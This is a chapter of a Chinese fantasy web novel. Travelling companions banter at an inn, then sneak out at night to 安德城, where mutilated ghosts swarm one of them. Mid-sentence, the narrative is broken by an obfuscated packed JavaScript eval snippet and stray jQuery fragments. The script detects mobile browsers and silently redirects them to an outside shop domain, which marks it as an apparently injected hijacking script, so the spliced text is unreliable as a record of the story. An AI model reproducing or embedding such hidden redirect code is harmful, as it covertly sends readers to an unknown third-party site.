酒足饭饱,方才的汉子们先一步上楼休息,老板娘收拾桌上碗筷,后厨走出个老妇人上前帮忙,听两人交谈,才知是她的娘亲。
“翠儿,没有要点菜的了?”半响又走出一男子,撸起肩上的毛巾擦了把脸,人长得老实憨厚。
老板娘转头看向她们,“几位客官,还要加菜吗?”
任卷舒看向灵久,小声道:“够吃吗?”
“够吃。”灵久手上的法术收回,果然是这男人问题,一会出去找些草药。
“行,几位客官吃好。”男子说着转身拿了个木桶,一起收拾。
老板娘收拾到旁边那桌,灵久开口道:“我已经看出他的问题了,明天找些草药过来。”
忙起来,便把这事忘记了,老板娘笑道:“不用叫他过来看看?”
灵久摇头道:“不用。”
老板娘道:“你这小娃,我真是越看越喜欢,叫什么名字?”
“灵久。”
“灵柩?”她皱了下眉,怎会有人起这名字,多少带点不吉利,“你叫灵柩?谁给你起的这名字,这……”
灵久疑惑道:“这名字怎么了?我觉得挺好的啊,好记还好听,是我哥取的。”
“这、这怎么能行,你可知道灵柩指的何物?”见她摇头,老板娘皱眉道,“装着尸体棺材……才称为灵柩。”
灵久明显一愣。
同其尘开口道:“不是木字旁的柩,是长久的久。”
老板娘长叹一口气,“害,我说呢,光听音我还以为是那个,长久的久,这个久好。”
灵久跟着松了口气,“吓死我了。”
燕辞归道:“你又不识字,说不定你哥讲的就是木字旁柩。”
灵久口无遮拦道:“你才是那个柩,到时候装你。”
任卷舒道:“话不能乱讲,呸呸呸。”
灵久反应过来急忙呸了几下,又瞪着燕辞归道:“都怪你。”
燕辞归笑道:“好好好,都怪我。”
老板娘给几人安排好房间,又送了两碟花生米,可把灵久美的不行,跟个老鼠似的,磕到大半夜才安静下来。
任卷舒假眯了一会,蹑手蹑脚的下床,见雪芽和灵久没反应,悄悄溜了出去。
小心翼翼关上门,刚松了口气,一转头就撞上了同其尘那双眸子,吓得她心底一颤,又不能大声说话,只好小声道:“你怎么在这守着?”
她边说边往外走,“你是不是在我身上施了什么法术,怎么每次我要偷偷行动,都会被你抓个正着?”
直到出了客栈,同其尘才开口道:“并未施展法术,你问那几人时,便猜到你可能想要去。”
任卷舒余光扫了他一眼,“你倒还挺会猜,怎么?闲在的时候,都在猜我在想什么?”
同其尘道:“没有。”
嗯?这话怎么听着带些心虚呢?任卷舒笑道:“嗷吆,你这么了解我呢,每次都能猜中?”
同其尘道反驳道:“明明是你每次表现得都很明显。”
任卷舒指了指自己,“我表现得明显?不可能,明明就是你偷偷观察我,还不承认。”
“没有。”
“行行行,没有,没有。”
同其尘瞧了她一眼,道:“你为什么每次都要偷偷行动?”
“还说你没偷偷观察我?”
“没有,只是每次都撞上了,就……”同其尘感觉跟自己说不通,“算了,没什么。”
任卷舒笑道:“好了好了,不逗你了。”她思忖片刻道:“也不是偷偷行动,这样更保险,万一有事,你们还能顶上,总比被一网捞了强。”
同其尘道:“那你应该提前说一声。”
“我不说你都跟过来了,如果说了,定要都跟着。”任卷舒摆了摆手,“阿姐肯定要第一个跟上来。”
说的不无道理,同其尘垂眸想了半天,“以后,你要行动,跟我说一声。”
尽说些云里雾里的话,任卷舒道:“怎么?你还要保护我?”
“嗯,这也是我的此次下山的任务之一。”
任卷舒心里哼了声,开口道:“反正你会猜,这么聪明,我相信你肯定都能猜到的。”
若都能猜透,那才神了,她笑了下,说不定到头来最吃惊的便是他。
两人沉默着走了一段,任卷舒突然开口道:“都出来吧!”
同其尘一怔,转过身,一朵小白花显形,雪芽顺了顺发丝。
他居然没察觉到!
灵久从一旁的草丛中滚出来,“都怪你挤我,被发现了吧!”
燕辞归也不装了,蹭一下站起来,头上顶着乱七八遭的树叶,“还怪上我了,还不是你不老实,非要一个劲的往前拱,好了吧,被发现了。”
任卷舒揉了揉太阳穴,开口道:“你们又是怎么知道的?雪芽,你也跟他两个胡闹。”
雪芽缓缓走过来,在她额头点了下,“是谁胡闹?”
任卷舒一时没话说,只好逮着吵吵的两人问,“你们又是怎么跟上来的?猜的?”
两人吵的正欢,燕辞归先转过头来,耸肩道:“这很难猜吗?”
灵久咽了口吐沫,她还真没猜到,要不是喝的太多被憋醒了,那可就错过了。脑瓜一转,总不能显的自己笨,也气势道:“对啊,很难猜吗?”
真这么明显?任卷舒摇了摇头,罢了罢了,正式要紧,“别藏着躲着了,一起走。”
往东皆是山路,不知道走了多久,终于看到一片平地,四周被山林包围,房屋错落有致。
想必就是安德城。
从高处看去,安德城东面有条河,夜空下像条蓝白色的大蛇,从山间来,又直直奔着山间而去,不见首尾,只见泛着波光的鳞片。
月牙弯弯,周遭都是黑漆漆的,灵久躲到任卷舒后面,小声道:“那个人说的没错,我也感觉阴森森的,怎么安静的还虫鸣都没有。”
陶笛开始疯狂的颤抖,雪芽将它握在手中,感受无应跟她传递的消息,皱眉道:“小心,此地有恶鬼,不只一个。”
话音未落,同其尘和燕辞归身上的八盘也开始疯狂颤动。
鬼魂,一般是不可见的,雪芽拿起陶笛,想要它们显形,被任卷舒拦下,“先别吹,笛声定会惊扰这里的人,万一打草惊蛇,就坏了。”
同其尘两手相抵,收拾变换间,身前出现一蓝色结印,见他两指抵在唇上,“显。”结印迅速上前扑开。
灵久探出头,被眼前景象吓得捂住嘴,这才没叫出声,方才还是什么都没有,现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024266|140953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
飘出一片鬼魂,占着蓝色光亮,看的一清二楚。
最吓人的是,这些鬼魂不是完整的人样,有的被啃掉了半个胳膊,断肢就漏在外面,还有的被啃掉了腿,拖在地上爬。灵久干呕了下,最难以接受的是被啃掉半边脸,一边露着白骨,另一边能勉强看出人样,也早就已肉模糊。
任卷舒抽出鱼骨鞭,小声道:“雪芽,护着灵久些。”
灵久立即跑到她身后,雪芽点头道:“好,你们小心。”
这些鬼魂来回晃荡,并没有攻击他们的意思,各个惨不忍睹的样子,任卷舒皱眉,这伤应该不是人为,但四周并未察觉到妖气,不知道它们在此多久了。
燕辞归小声道:“他们好像看不到我们。”
此话一出,所有恶鬼都转向他们,瞬间开始饿狼扑食。
任卷舒一鞭子抽退大片,“燕辞归你这张破嘴,下次给您堵上。”
燕辞归想哭哭不出,“这谁能想到啊,跟有口令一样。”
任卷舒没空跟他斗嘴,疾步侧走,想用鱼骨鞭拦一大圈丢出去,没想到擦身而过时,这群鬼魂竟不攻击她,而是争先恐后的奔着燕辞归过去。
她停下脚步,冲同其尘喊道:“这些东西不是攻击你,它们都是冲着燕辞归去的。”
同其尘停剑,真被它们直直略过去。
燕辞归哭喊着:“不是啊,我再也不胡说了,你两个别停啊,快帮帮我。”
鬼魂少说也有三四十只,将他团团围起来,斩也斩不死,一剑斩下去,魂散掉两秒后立即恢复原样。
灵久躲在雪芽身后,扯着脑袋瞅,只能看到里面闪烁的剑光,“快救救他吧,真被恶鬼吃了怎么办?”
“燕辞归,上来!”同其尘疾步而起,剑锋指着结印而下。
与燕辞归错开,蓝色结印罩着恶鬼压制地下,地上树叶颤起。
同其尘道:“你先走!他们是冲你来的,你在这他们消停不了。”
“那我先走一步,你们小心!”
燕辞归走远,地上的结印才消停下来。
“真安静了。”灵久从雪芽身后走出来,“这下他可不敢再乱说了。”
任卷舒环视一圈,虽然是燕辞归开口引过来的,但她们也说了话,应该不是这个原因。
“它们有主人,要想除掉也不难。”雪芽晃了晃手中的陶笛,“要用它。”
任卷舒道:“明天先过来探探情况,不急。”先别打草惊蛇。
几人回到客栈,燕辞归正在门口坐着,左想右想就是不明白,“怎么就突然扑上来了。”
越想还越难受,一路走到这真够倒霉的,在姑墨被刺杀,浮冥都被选中借尸还魂,现在又被恶鬼袭击。
“太倒霉了,这也倒霉了吧,怎么每次都是我啊。”燕辞归恨不得抱头痛哭。
任卷舒道:“因为你比较招人稀罕。”
燕辞归欲哭无泪,看到她们平安回来,也算松了口气,又不甘心问道:“我走后,它们就老实了?”
任卷舒点了点头。
燕辞归仰天长嚎,“苍天啊,不公啊,不能逮着我一个人欺负啊。”
任卷舒抬手来了下,“小点声,深更半夜的。”
燕辞归抱着挨了一巴掌的脑袋,“嗷,好。”